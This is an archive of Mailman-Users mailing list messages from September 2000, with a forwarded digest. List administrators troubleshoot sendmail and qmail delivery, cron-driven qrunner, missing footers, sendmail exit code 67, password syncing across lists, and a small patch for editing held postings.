> Justin Coyne <jcoyne at software.umn.edu>
> 
> "I believe there are more instances of the abridgment of the freedom of
> the people by gradual and silent encroachments of those in power than by
> violent and sudden usurpations." - James Madison
> 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 




From jcoyne at software.umn.edu  Sat Sep 16 00:25:33 2000
From: jcoyne at software.umn.edu (Justin Coyne)
Date: Fri, 15 Sep 2000 17:25:33 -0500 (CDT)
Subject: [Mailman-Users] Newbie question. Mailman not posting.
In-Reply-To: <200009152219.PAA08909@utopia.west.sun.com>
Message-ID: <Pine.LNX.4.21.0009151724510.498-100000@sevengill.jaws.umn.edu>

Hmm, I'm not sure I understand. Could you be more specific?

Justin Coyne <jcoyne at software.umn.edu>

"I believe there are more instances of the abridgment of the freedom of
the people by gradual and silent encroachments of those in power than by
violent and sudden usurpations." - James Madison

On Fri, 15 Sep 2000, Dan Mick wrote:

> 'cron' doesn't appear in your message.  That's a big hint.
> 
> > I've set up mailman to work with sendmail. I've subscribed users and sent
> > a message as a user to the list. The sendmail logs show the message was
> > recieved and passed on to the mailman wrapper script.
> > 
> > Sep 15 15:58:26 sendmail[3052]: PAA03051: to="|/home/mailman/mail/wrapper 
> > post amnesty", delay=00:00:03, xdelay=00:00:02, mailer=prog, stat=SentA
> > 
> > Mailman doesn't log recieving the message, and it is not sent out to the
> > list. There is nothing reported in any of the mailman log files. Any ideas
> > as to what my problem could be?
> > 
> > Justin Coyne <jcoyne at software.umn.edu>
> > 
> > "I believe there are more instances of the abridgment of the freedom of
> > the people by gradual and silent encroachments of those in power than by
> > violent and sudden usurpations." - James Madison
> > 
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> 
> 
> 




From dgc at uchicago.edu  Sat Sep 16 00:42:20 2000
From: dgc at uchicago.edu (David Champion)
Date: Fri, 15 Sep 2000 17:42:20 -0500
Subject: [Mailman-Users] Re: Newbie question. Mailman not posting.
In-Reply-To: <Pine.LNX.4.21.0009151724510.498-100000@sevengill.jaws.umn.edu>; from jcoyne@software.umn.edu on Fri, Sep 15, 2000 at 05:25:33PM -0500
References: <200009152219.PAA08909@utopia.west.sun.com> <Pine.LNX.4.21.0009151724510.498-100000@sevengill.jaws.umn.edu>
Message-ID: <20000915174220.B21972@smack.uchicago.edu>

On 2000.09.15, in <Pine.LNX.4.21.0009151724510.498-100000 at sevengill.jaws.umn.edu>,
	"Justin Coyne" <jcoyne at software.umn.edu> wrote:
> Hmm, I'm not sure I understand. Could you be more specific?

Messages are queued in Mailman, and released when the "qrunner" task
runs.  Qrunner is executed by a cron job.  Check the mailman user's
crontab, and be sure that qrunner is in there and running on schedule.
The default mailman crontab is in /path/to/mailman/cron/crontab.in.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago



From jcoyne at software.umn.edu  Sat Sep 16 00:39:08 2000
From: jcoyne at software.umn.edu (Justin Coyne)
Date: Fri, 15 Sep 2000 17:39:08 -0500 (CDT)
Subject: [Mailman-Users] Re: Newbie question. Mailman not posting.
In-Reply-To: <20000915174220.B21972@smack.uchicago.edu>
Message-ID: <Pine.LNX.4.21.0009151738420.498-100000@sevengill.jaws.umn.edu>

Yep. I overlooked that part of the docs. Thanks for your help. All is well
now.

Justin Coyne <jcoyne at software.umn.edu>

"I believe there are more instances of the abridgment of the freedom of
the people by gradual and silent encroachments of those in power than by
violent and sudden usurpations." - James Madison

On Fri, 15 Sep 2000, David Champion wrote:

> On 2000.09.15, in <Pine.LNX.4.21.0009151724510.498-100000 at sevengill.jaws.umn.edu>,
> 	"Justin Coyne" <jcoyne at software.umn.edu> wrote:
> > Hmm, I'm not sure I understand. Could you be more specific?
> 
> Messages are queued in Mailman, and released when the "qrunner" task
> runs.  Qrunner is executed by a cron job.  Check the mailman user's
> crontab, and be sure that qrunner is in there and running on schedule.
> The default mailman crontab is in /path/to/mailman/cron/crontab.in.
> 
> -- 
>  -D.	dgc at uchicago.edu	NSIT	University of Chicago
> 




From midnight at the-oasis.net  Sat Sep 16 02:58:15 2000
From: midnight at the-oasis.net (Phil Barnett)
Date: Fri, 15 Sep 2000 20:58:15 -0400
Subject: [Mailman-Users] Problem with QMAIL and MailMan
In-Reply-To: <20000915103727.A549@alfarrabio.um.geira.pt>
Message-ID: <39C28D67.32213.193BB50F@localhost>

On 15 Sep 2000, at 10:37, Alberto Manuel Brandao Simoes wrote:

>  Hello!
> 
>  I'm having a strange problem. I've installed mailman in my linux box
> with qmail. Now, I've used the newlist script to create a mailing
> list, but there is no way to receive the mail sent to the list
> maintainer.
> 
>  Please, send a copy of the answer to me, directly... I'm not
>  subscribed
> in this mailing list!

Well, this is the fourth person this month to have the same problem 
as I do, so I don't feel so bad.

Would anyone care to help us troubleshoot this?

Please?


-- 
              Phil Barnett  mailto:midnight at the-oasis.net
                       WWW  http://www.the-oasis.net/
                  FTP Site  ftp://ftp.the-oasis.net



From bdbeers at digiscents.com  Sat Sep 16 06:55:07 2000
From: bdbeers at digiscents.com (Brian D. Beers)
Date: Fri, 15 Sep 2000 21:55:07 -0700
Subject: [Mailman-Users] Footers not appearing in messages.
In-Reply-To: <200009152219.PAA08909@utopia.west.sun.com>
Message-ID: <NDBBJLNKOLJHKLLFCNKCOEGDKBAA.bdbeers@digiscents.com>

The footer (like below) is not appearing in the messages. Does anyone know
why?  I have not changed the default footer at all.  Does one of the
management choices disable the footer?

> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users




From fmotta at pacbell.net  Sat Sep 16 08:27:57 2000
From: fmotta at pacbell.net (Frank Motta)
Date: Fri, 15 Sep 2000 23:27:57 -0700
Subject: [Mailman-Users] Newbie alert!
Message-ID: <39C312ED.1E2AAD22@pacbell.net>

Hi,
    I'm a newbie to REAL mail list managers (those on Unix) and
sendmail.
    I've installed and "attemped" to setup mailman on a linux box...

    When I send a subscribe using an email to testlist at mydomain.com I
get a:

The original message was received at Fri, 15 Sep 2000 23:06:09 -0700
from mta6.snfc21.pbi.net [206.13.28.240]

   ----- The following addresses had permanent fatal errors -----
"|/home/mailman/mail/wrapper post testlist"
    (expanded from: <testlist at mydomain.com>)

   ----- Transcript of session follows -----
sh: wrapper not available for sendmail programs
554 "|/home/mailman/mail/wrapper post testlist"... Service unavailable

Please not that I've replaced my real domain with "mydomain.com".

What does this mean?

Thanks!





From Sam at AzerTech.Com  Sat Sep 16 09:30:27 2000
From: Sam at AzerTech.Com (Sam Azer)
Date: Sat, 16 Sep 2000 03:30:27 -0400
Subject: [Mailman-Users] Newbie alert!
Message-ID: <LLBBJMCIOPNCOHANMLEPIELEHEAB.Sam@AzerTech.Com>

Hi Frank,

I've only just installed mailman this evening. I used the RPM file in the
redhat secure server ftp directory. It didn't quite work out of the box but
was relatively easy once I found the INSTALL note in /usr/doc/. It's
certainly a very impressive package!

It's possible that you just need a link in your /etc/smrsh directory. Try
this as root:

cd /etc/smrsh
ln -s /home/mailman/mail/wrapper wrapper

Check the path - the redhat rpm defaults to /usr/share/mailman instead of
/home/mailman.

I hope this helps,
Take Care,
Sam.





From mjs at beyond.net.au  Sun Sep 17 12:41:01 2000
From: mjs at beyond.net.au (Mitchell)
Date: Sun, 17 Sep 2000 20:41:01 +1000
Subject: [Mailman-Users] Question about interface
Message-ID: <20000917204101.A8120@beyond.net.au>

I was wundering weather it was possible with the current interface to
pass an email address to mailman and have it show what lists that user
is subscribed too something like 

http://www.mydomain.com/mailman/options/mjs at beyond.net.au 


and have it show me that I"m subscribed to 'blah' list and these other
lists are available to subscribe too. 

Just a thought. 




From alaric at alaric-snell.com  Sun Sep 17 21:21:12 2000
From: alaric at alaric-snell.com (Al Snell)
Date: Sun, 17 Sep 2000 20:21:12 +0100 (BST)
Subject: [Mailman-Users] Renaming lists
Message-ID: <Pine.NEB.4.10.10009172020110.6985-100000@love.warhead.org.uk>

How might I rename a list? The usual channels about list naming complain
bitterly that I mustn't use them to do anything other than alter
capitalisation because that name is used as the email address, but if I
changed the aliases to fit, would changing the list name with config_list
work?

TIA,

ABS

-- 

 http://www.alaric-snell.com/  http://RF.Cx/  http://www.warhead.org.uk/
   Any sufficiently advanced technology can be emulated in software  



From thomas at ifi.uio.no  Mon Sep 18 00:35:22 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Mon, 18 Sep 2000 00:35:22 +0200
Subject: [Mailman-Users] Editing the posting
Message-ID: <MM.969230122.15647.solva@ifi.uio.no>

How can I edit a posting that is to be approved -- e.g., removing
an attachment?  Or is it impossible to do this?  I tried to remove
a HTML-attachment from a posting, deleting it from the approval
window -- but when I let the message through, the attachment had
returned...

How can I get a copy of a posting that I do not approve?  If I
reject or discard the posting it is gone.  If I approve it, it
goes to the list.  But suppose I want a copy of the posting from
the web page to my own mailbox, without or before I approve it.
How do I do that?  Or is that impossible too?
(is cut-and-paste and mail to myself the only way??)

Perhaps I should just tell people to post to the owner-listname
address instead of the list address.  That way I get to approve it
using my favorite email client and editor.

Thomas Gramstad
thomas at ifi.uio.no


From chuqui at plaidworks.com  Mon Sep 18 02:01:25 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Sun, 17 Sep 2000 17:01:25 -0700
Subject: [Mailman-Users] Editing the posting
In-Reply-To: <MM.969230122.15647.solva@ifi.uio.no>
References: <MM.969230122.15647.solva@ifi.uio.no>
Message-ID: <p04330112b5eb0b9204ed@[209.239.169.197]>

At 12:35 AM +0200 9/18/00, Thomas Gramstad wrote:
>How can I edit a posting that is to be approved -- e.g., removing
>an attachment?

right now you can't.

>How can I get a copy of a posting that I do not approve?

Use the "preserve posting" checkbox on the approval page.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From zvrba at iskon.hr  Mon Sep 18 08:49:33 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Mon, 18 Sep 2000 08:49:33 +0200
Subject: [Mailman-Users] Another bug in Mailman
Message-ID: <20000918084933.A18230@iskon.hr>

If there is a single dot on the line, Mailman does not deliver the rest
of the message (beta5).

Also, could someone tell me what does exit value 67 from sendmail mean?
Mailman redelivers messages when sendmail returns 67, however those messages
are already delivered. The result is that all members get duplicate messages
every minute. (I'm using Sendmail method instead SMTPDirect). I had to patch
up the code not to redeliver messages when it gets 67.


After this line there is a single dot on a line and more text.
.
Text, text....



From chuqui at plaidworks.com  Mon Sep 18 09:04:49 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Mon, 18 Sep 2000 00:04:49 -0700
Subject: [Mailman-Users] Another bug in Mailman
In-Reply-To: <20000918084933.A18230@iskon.hr>
References: <20000918084933.A18230@iskon.hr>
Message-ID: <p0433011cb5eb6f0020d8@[209.239.169.197]>

At 8:49 AM +0200 9/18/00, Zeljko Vrba wrote:
>If there is a single dot on the line, Mailman does not deliver the rest
>of the message (beta5).

that is almost definitely your sendmail configuration, not mailman.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From lindsey at mallorn.com  Mon Sep 18 09:11:38 2000
From: lindsey at mallorn.com (Christopher P. Lindsey)
Date: Mon, 18 Sep 2000 02:11:38 -0500
Subject: [Mailman-Users] Another bug in Mailman
In-Reply-To: <20000918084933.A18230@iskon.hr>; from zvrba@iskon.hr on Mon, Sep 18, 2000 at 08:49:33AM +0200
References: <20000918084933.A18230@iskon.hr>
Message-ID: <20000918021138.H29471@mallorn.com>

> If there is a single dot on the line, Mailman does not deliver the rest
> of the message (beta5).

Sounds like a sendmail misconfiguration.  Look at the "IgnoreDots" 
options or the -oi commandline option.

> Also, could someone tell me what does exit value 67 from sendmail mean?
> Mailman redelivers messages when sendmail returns 67, however those messages
> are already delivered. The result is that all members get duplicate messages
> every minute. (I'm using Sendmail method instead SMTPDirect). I had to patch
> up the code not to redeliver messages when it gets 67.

Take a look at /usr/include/sysexits.h on your system.  It lists all of
the standard exit codes for programs.  On a Linux 2.0.35 system I
have:

   #define EX_NOUSER       67      /* addressee unknown */
   
And further up:

   *      EX_NOUSER -- The user specified did not exist.  This might
   *              be used for mail addresses or remote logins.

Are you sure sendmail is returning a 67, or is it your local delivery
agent?  

> After this line there is a single dot on a line and more text.
> .
> Text, text....

Umm...

Chris


From zvrba at iskon.hr  Mon Sep 18 09:43:58 2000
From: zvrba at iskon.hr (Zeljko Vrba)
Date: Mon, 18 Sep 2000 09:43:58 +0200
Subject: [Mailman-Users] Another bug in Mailman
In-Reply-To: <20000918021138.H29471@mallorn.com>; from lindsey@mallorn.com on Mon, Sep 18, 2000 at 02:11:38AM -0500
References: <20000918084933.A18230@iskon.hr> <20000918021138.H29471@mallorn.com>
Message-ID: <20000918094358.A29245@iskon.hr>

On Mon, Sep 18, 2000 at 02:11:38AM -0500, Christopher P. Lindsey wrote:
> 
>    *      EX_NOUSER -- The user specified did not exist.  This might
>    *              be used for mail addresses or remote logins.
> 
> Are you sure sendmail is returning a 67, or is it your local delivery
> agent?  
> 
It's sendmail returning 67. Isn't this a serious bug: to repeatedly send
mail every minute to all 100 recipients on a list when only one is unknown?
Now it's hardcoded in my local installation to ignore 67 exit status.



From gerhard at jason.nl  Mon Sep 18 13:27:50 2000
From: gerhard at jason.nl (Gerhard den Hollander)
Date: Mon, 18 Sep 2000 13:27:50 +0200
Subject: [Mailman-Users] One passwd for one user over many mailinglists
Message-ID: <20000918132750.W18946@zeus.jason.nl>

Situation:

I maintain (with mailman) a number (20-ish going to be 100-ish)
mailinglists for our internal users.

When I create a new mailinglist I usually add a number of users 

This means that these users get yet another default mailman passwd.

What I want is to synchronise all user:passwd combinations over all the
lists.

e.g. currently I have

List 1	(user:passwd)
	A:asdf
	B:sdfg
	C:dfgh

List 2
	A:erty
	C:rtyu
	D:ytur

List 3
	A:lkjh
	D:moiu

What I want is someway to get this to be

List 1	(user:passwd)
	A:asdf
	B:sdfg
	C:dfgh

List 2
	A:asdf
	C:dfgh
	D:ytur

List 3
	A:asdf
	D:ytur


Unfortunately I have 0 experience in programming python.
I looked through the clone_member program in the bin directory and it
looks like what I want is indeed possible provided I know enough python.

If some kind soul could give me 2 scripts
1 : that lists (given a mailinglist) all users and passwords
and
2 : that given a mailinglist, and a list of username/passwords
	sets the password for the listed user to be the one listed in that
	file.

than I would already be fuly helped.

Of course, ideally someone else has already bumped into this problem and
solved it the python way, in which case I'd be very grateful for this
program.

TIA

	
	
	Gerhard,  <@jasongeo.com>   == The Acoustic Motorbiker == 	
-- 
   __O	Standing above the crowd, he had a voice so strong and loud
 =`\<,			we'll miss him
(=)/(=)	Ranting and pointing his finger, At everything but his heart
			we'll miss him



From curly at apollo.wuacc.edu  Mon Sep 18 16:10:23 2000
From: curly at apollo.wuacc.edu (Joe)
Date: Mon, 18 Sep 2000 09:10:23 -0500 (CDT)
Subject: [Mailman-Users] How do you edit an archive?
Message-ID: <Pine.LNX.4.21.0009180908130.10649-100000@apollo.wuacc.edu>

Hi,

I have an archive that needs to be redone, but the bin/arch utility
doesn't seem to use the mbox to regenerate the archive as the
documentation suggests that it will do.

Any recipes on rebuilding an archive using existing tools?

Any ideas will be greatly appreciated,
Joe 



From nathalie.ducaud at i-dmedia.com  Mon Sep 18 16:56:04 2000
From: nathalie.ducaud at i-dmedia.com (Nathalie Ducaud)
Date: Mon, 18 Sep 2000 15:56:04 +0100
Subject: [Mailman-Users] PHP WML
Message-ID: <39C62D04.727863C1@i-dmedia.com>

How do you combine PHP3 and WML ?



From alex at phred.org  Mon Sep 18 16:35:19 2000
From: alex at phred.org (alex wetmore)
Date: Mon, 18 Sep 2000 07:35:19 -0700
Subject: [Mailman-Users] Footers not appearing in messages.
References: <NDBBJLNKOLJHKLLFCNKCOEGDKBAA.bdbeers@digiscents.com>
Message-ID: <008501c0217d$aba2b690$5bf83b9d@redmond.corp.microsoft.com>

Are you sending messages that are HTML formatted (or otherwise use
MIME)?  The footer gets tacked on past the end of the MIME portion of
the message, and won't be shown by most email clients.

On my list I use a tool (http://www.phred.org/~alex/stripmime.pl) to
remove all MIME from my list messages.  Most importantly this insures
that everyone can properly read the messages and that the archives are
not polluted with MIME/HTML.  Secondarily this insures that every
message has the footer.

alex

----- Original Message -----
From: "Brian D. Beers" <bdbeers at digiscents.com>
To: <mailman-users at python.org>
Sent: Friday, September 15, 2000 9:55 PM
Subject: [Mailman-Users] Footers not appearing in messages.


> The footer (like below) is not appearing in the messages. Does anyone
know
> why?  I have not changed the default footer at all.  Does one of the
> management choices disable the footer?
>
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
>
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>



From vincent at life.be  Mon Sep 18 18:39:13 2000
From: vincent at life.be (vhomans)
Date: Mon, 18 Sep 2000 18:39:13 +0200 (CEST)
Subject: [Mailman-Users] how to disable the password
In-Reply-To: <20000918161504.136751CD85@dinsdale.python.org>
Message-ID: <Pine.LNX.4.21.0009181825050.4063-100000@tomaat.life.be>

Just installed mailman, like it very much.
First I tried majordomo and ezmlm(I use qmail btw), but they couldn't
satisfy me. The INSTALL-file explained everything nicely.

BUT, i have a question:
Is there no stripped-down version that does only this:

a read-only announcements-list (to send news every week)
if there is an email send to the list
*there can be the subscribe-command in the subject 
*there can be the unsubscribe-command in the subject 
*the admin has a command to send an email to the subscribed people. (with 
a shell-command or something)
*if there are any reply's, they go to the admin's mailbox
*no digests, maybe an archive would be easy

NO passwords, users who see the list of subscribers etc.

How could i do this

maybe put in my ~qmail-alias/.qmail-announcelist

#(pseudo-code)
|grep -i ^Subject: Subscribe|awk '{printf $3}'  > subscriberlist
|grep -i ^Subject: unsubscribe|awk '{printf $3}'|for i in read i;do grep  -v subscriberlist>subscriberlist
|mail announcelist-admin



I know I'm not much of a coder, but i don't have a lot of time to put up
the list, and i don't find some things like how to disable a password.

Or does anybody know a better solution.

thanx very much&keep up the good work


vincent



-- 
Vincent Homans
vhomans at life.be
just another human being...



From ste at research.bell-labs.com  Mon Sep 18 19:34:01 2000
From: ste at research.bell-labs.com (Shaun Erickson)
Date: Mon, 18 Sep 2000 13:34:01 -0400
Subject: [Mailman-Users] clone_member failure
Message-ID: <39C65209.74D2BC3E@research.bell-labs.com>

As part of a corporate split, I need to change the addresses of a large
number of mailing list users. I planned to do it this way, for each
email address (I've changed the actual username to mine, for this
example):

clone_member equal-agenda ste at lucent.com ste at avaya.com
remove_members equal-agenda ste at lucent.com

However, clone_member is failing:

[root /tmp]# clone_member equal-agenda ste at lucent.com ste at avaya.com
Traceback (innermost last):
  File "/opt/mailman/bin/clone_member", line 121, in ?
    main()
  File "/opt/mailman/bin/clone_member", line 106, in main
    options = mlist.user_options[lfromaddr]
KeyError: ste at lucent.com
[root /tmp]#

It does this for everyone I try. Can anyone help? I think I'm running
Mailman 1.1 on Red Hat 6.1 (an installation which I recently inherited).

	-ste


From tneff at bigfoot.com  Mon Sep 18 20:25:04 2000
From: tneff at bigfoot.com (Tom Neff)
Date: Mon, 18 Sep 2000 14:25:04 -0400
Subject: [Mailman-Users] Re: Editing the posting
In-Reply-To: <20000918160146.7AB871D059@dinsdale.python.org>
Message-ID: <MFEHJMLCCICAAHLGFNAAGEIGCBAA.tneff@bigfoot.com>

Thomas Gramstad <thomas at ifi.uio.no> asked:
> How can I edit a posting that is to be approved -- e.g., removing
> an attachment?  Or is it impossible to do this?

I patched 1.1 to let me do this.  The patch is not perfect because if you
edit the posting any comments are ignored (that 'elif'); fixing this is
straightforward, I just didn't need to.

*** admindb.py.orig Sun Jun 13 04:10:09 1999
--- admindb.py  Mon Jan 17 01:14:50 2000
***************
*** 196,202 ****
        # We already handled this request.
        continue
    comment_key = 'comment-%d' % request_id
!   if form.has_key(comment_key):
        list.HandleRequest(request, v, form[comment_key].value)
    else:
        list.HandleRequest(request, v)
--- 196,205 ----
        # We already handled this request.
        continue
    comment_key = 'comment-%d' % request_id
!   contents_key = 'contents-%d' % request_id
!   if form.has_key(contents_key):
!       list.HandleRequest(request, v, None,
contents=form[contents_key].value)
!   elif form.has_key(comment_key):
        list.HandleRequest(request, v, form[comment_key].value)
    else:
        list.HandleRequest(request, v)
***************
*** 241,247 ****
    FontSize("+1", Bold('Contents:'))
          ])
      form.AddItem(t)
!     form.AddItem(Preformatted(val[2][1]))
      form.AddItem('<p>')


--- 244,252 ----
    FontSize("+1", Bold('Contents:'))
          ])
      form.AddItem(t)
!     # form.AddItem(Preformatted(val[2][1]))
!     form.AddItem(TextArea("contents-%d" % val[0], rows=30, cols=85,
!                  text=val[2][1]))
      form.AddItem('<p>')




> -----Original Message-----
> From: mailman-users-admin at python.org
> [mailto:mailman-users-admin at python.org]On Behalf Of
> mailman-users-request at python.org
> Sent: Monday, September 18, 2000 12:02 PM
> To: mailman-users at python.org
> Subject: Mailman-Users digest, Vol 1 #759 - 11 msgs
>
>
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> 	mailman-users at python.org
>
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> 	http://www.python.org/mailman/listinfo/mailman-users
> or, via email, send a message with subject or body 'help' to
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>
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> 	mailman-users-admin at python.org
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of Mailman-Users digest..."
>
>
> Today's Topics:
>
>    1. Renaming lists (Al Snell)
>    2. Editing the posting (Thomas Gramstad)
>    3. Re: Editing the posting (Chuq Von Rospach)
>    4. Another bug in Mailman (Zeljko Vrba)
>    5. Re: Another bug in Mailman (Chuq Von Rospach)
>    6. Re: Another bug in Mailman (Christopher P. Lindsey)
>    7. Re: Another bug in Mailman (Zeljko Vrba)
>    8. One passwd for one user over many mailinglists (Gerhard den
> Hollander)
>    9. How do you edit an archive? (Joe)
>   10. PHP WML (Nathalie Ducaud)
>   11. Re: Footers not appearing in messages. (alex wetmore)
>
> --__--__--
>
> Message: 1
> Date: Sun, 17 Sep 2000 20:21:12 +0100 (BST)
> From: Al Snell <alaric at alaric-snell.com>
> To: mailman-users at python.org
> Subject: [Mailman-Users] Renaming lists
>
>
> How might I rename a list? The usual channels about list naming complain
> bitterly that I mustn't use them to do anything other than alter
> capitalisation because that name is used as the email address, but if I
> changed the aliases to fit, would changing the list name with config_list
> work?
>
> TIA,
>
> ABS
>
> --
>
>  http://www.alaric-snell.com/  http://RF.Cx/  http://www.warhead.org.uk/
>    Any sufficiently advanced technology can be emulated in software
>
>
>
> --__--__--
>
> Message: 2
> Date: Mon, 18 Sep 2000 00:35:22 +0200
> From: Thomas Gramstad <thomas at ifi.uio.no>
> Reply-To: thomas at ifi.uio.no
> To: mailman-users at python.org
> Subject: [Mailman-Users] Editing the posting
>
> How can I edit a posting that is to be approved -- e.g., removing
> an attachment?  Or is it impossible to do this?  I tried to remove
> a HTML-attachment from a posting, deleting it from the approval
> window -- but when I let the message through, the attachment had
> returned...
>
> How can I get a copy of a posting that I do not approve?  If I
> reject or discard the posting it is gone.  If I approve it, it
> goes to the list.  But suppose I want a copy of the posting from
> the web page to my own mailbox, without or before I approve it.
> How do I do that?  Or is that impossible too?
> (is cut-and-paste and mail to myself the only way??)
>
> Perhaps I should just tell people to post to the owner-listname
> address instead of the list address.  That way I get to approve it
> using my favorite email client and editor.
>
> Thomas Gramstad
> thomas at ifi.uio.no
>
>
> --__--__--
>
> Message: 3
> Date: Sun, 17 Sep 2000 17:01:25 -0700
> To: thomas at ifi.uio.no, mailman-users at python.org
> From: Chuq Von Rospach <chuqui at plaidworks.com>
> Subject: Re: [Mailman-Users] Editing the posting
>
> At 12:35 AM +0200 9/18/00, Thomas Gramstad wrote:
> >How can I edit a posting that is to be approved -- e.g., removing
> >an attachment?
>
> right now you can't.
>
> >How can I get a copy of a posting that I do not approve?
>
> Use the "preserve posting" checkbox on the approval page.
>
> --
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)
>
> And they sit at the bar and put bread in my jar
> and say 'Man, what are you doing here?'"
>
>
> --__--__--
>
> Message: 4
> Date: Mon, 18 Sep 2000 08:49:33 +0200
> From: Zeljko Vrba <zvrba at iskon.hr>
> To: mailman-users at python.org
> Subject: [Mailman-Users] Another bug in Mailman
>
> If there is a single dot on the line, Mailman does not deliver the rest
> of the message (beta5).
>
> Also, could someone tell me what does exit value 67 from sendmail mean?
> Mailman redelivers messages when sendmail returns 67, however
> those messages
> are already delivered. The result is that all members get
> duplicate messages
> every minute. (I'm using Sendmail method instead SMTPDirect). I
> had to patch
> up the code not to redeliver messages when it gets 67.
>
>
> After this line there is a single dot on a line and more text.
> .
> Text, text....
>
>
>
> --__--__--
>
> Message: 5
> Date: Mon, 18 Sep 2000 00:04:49 -0700
> To: Zeljko Vrba <zvrba at iskon.hr>, mailman-users at python.org
> From: Chuq Von Rospach <chuqui at plaidworks.com>
> Subject: Re: [Mailman-Users] Another bug in Mailman
>
> At 8:49 AM +0200 9/18/00, Zeljko Vrba wrote:
> >If there is a single dot on the line, Mailman does not deliver the rest
> >of the message (beta5).
>
> that is almost definitely your sendmail configuration, not mailman.
>
> --
> Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
> Apple Mail List Gnome (mailto:chuq at apple.com)
>
> And they sit at the bar and put bread in my jar
> and say 'Man, what are you doing here?'"
>
>
> --__--__--
>
> Message: 6
> Date: Mon, 18 Sep 2000 02:11:38 -0500
> From: "Christopher P. Lindsey" <lindsey at mallorn.com>
> To: Zeljko Vrba <zvrba at iskon.hr>
> Cc: mailman-users at python.org
> Subject: Re: [Mailman-Users] Another bug in Mailman
>
> > If there is a single dot on the line, Mailman does not deliver the rest
> > of the message (beta5).
>
> Sounds like a sendmail misconfiguration.  Look at the "IgnoreDots"
> options or the -oi commandline option.
>
> > Also, could someone tell me what does exit value 67 from sendmail mean?
> > Mailman redelivers messages when sendmail returns 67, however
> those messages
> > are already delivered. The result is that all members get
> duplicate messages
> > every minute. (I'm using Sendmail method instead SMTPDirect). I
> had to patch
> > up the code not to redeliver messages when it gets 67.
>
> Take a look at /usr/include/sysexits.h on your system.  It lists all of
> the standard exit codes for programs.  On a Linux 2.0.35 system I
> have:
>
>    #define EX_NOUSER       67      /* addressee unknown */
>
> And further up:
>
>    *      EX_NOUSER -- The user specified did not exist.  This might
>    *              be used for mail addresses or remote logins.
>
> Are you sure sendmail is returning a 67, or is it your local delivery
> agent?
>
> > After this line there is a single dot on a line and more text.
> > .
> > Text, text....
>
> Umm...
>
> Chris
>
>
> --__--__--
>
> Message: 7
> Date: Mon, 18 Sep 2000 09:43:58 +0200
> From: Zeljko Vrba <zvrba at iskon.hr>
> To: "Christopher P. Lindsey" <lindsey at mallorn.com>
> Cc: mailman-users at python.org
> Subject: Re: [Mailman-Users] Another bug in Mailman
>
> On Mon, Sep 18, 2000 at 02:11:38AM -0500, Christopher P. Lindsey wrote:
> >
> >    *      EX_NOUSER -- The user specified did not exist.  This might
> >    *              be used for mail addresses or remote logins.
> >
> > Are you sure sendmail is returning a 67, or is it your local delivery
> > agent?
> >
> It's sendmail returning 67. Isn't this a serious bug: to repeatedly send
> mail every minute to all 100 recipients on a list when only one
> is unknown?
> Now it's hardcoded in my local installation to ignore 67 exit status.
>
>
>
> --__--__--
>
> Message: 8
> Date:   Mon, 18 Sep 2000 13:27:50 +0200
> From: Gerhard den Hollander <gerhard at jason.nl>
> To: mailman-users at python.org
> Reply-To: Gerhard den Hollander <gdenhollander at jasongeo.com>
> Subject: [Mailman-Users] One passwd for one user over many mailinglists
>
> Situation:
>
> I maintain (with mailman) a number (20-ish going to be 100-ish)
> mailinglists for our internal users.
>
> When I create a new mailinglist I usually add a number of users
>
> This means that these users get yet another default mailman passwd.
>
> What I want is to synchronise all user:passwd combinations over all the
> lists.
>
> e.g. currently I have
>
> List 1	(user:passwd)
> 	A:asdf
> 	B:sdfg
> 	C:dfgh
>
> List 2
> 	A:erty
> 	C:rtyu
> 	D:ytur
>
> List 3
> 	A:lkjh
> 	D:moiu
>
> What I want is someway to get this to be
>
> List 1	(user:passwd)
> 	A:asdf
> 	B:sdfg
> 	C:dfgh
>
> List 2
> 	A:asdf
> 	C:dfgh
> 	D:ytur
>
> List 3
> 	A:asdf
> 	D:ytur
>
>
> Unfortunately I have 0 experience in programming python.
> I looked through the clone_member program in the bin directory and it
> looks like what I want is indeed possible provided I know enough python.
>
> If some kind soul could give me 2 scripts
> 1 : that lists (given a mailinglist) all users and passwords
> and
> 2 : that given a mailinglist, and a list of username/passwords
> 	sets the password for the listed user to be the one listed in that
> 	file.
>
> than I would already be fuly helped.
>
> Of course, ideally someone else has already bumped into this problem and
> solved it the python way, in which case I'd be very grateful for this
> program.
>
> TIA
>
>
>
> 	Gerhard,  <@jasongeo.com>   == The Acoustic Motorbiker ==
> --
>    __O	Standing above the crowd, he had a voice so strong and loud
>  =`\<,			we'll miss him
> (=)/(=)	Ranting and pointing his finger, At everything but his heart
> 			we'll miss him
>
>
>
> --__--__--
>
> Message: 9
> Date: Mon, 18 Sep 2000 09:10:23 -0500 (CDT)
> From: Joe <curly at apollo.wuacc.edu>
> To: mailman-users at python.org
> Subject: [Mailman-Users] How do you edit an archive?
>
>
> Hi,
>
> I have an archive that needs to be redone, but the bin/arch utility
> doesn't seem to use the mbox to regenerate the archive as the
> documentation suggests that it will do.
>
> Any recipes on rebuilding an archive using existing tools?
>
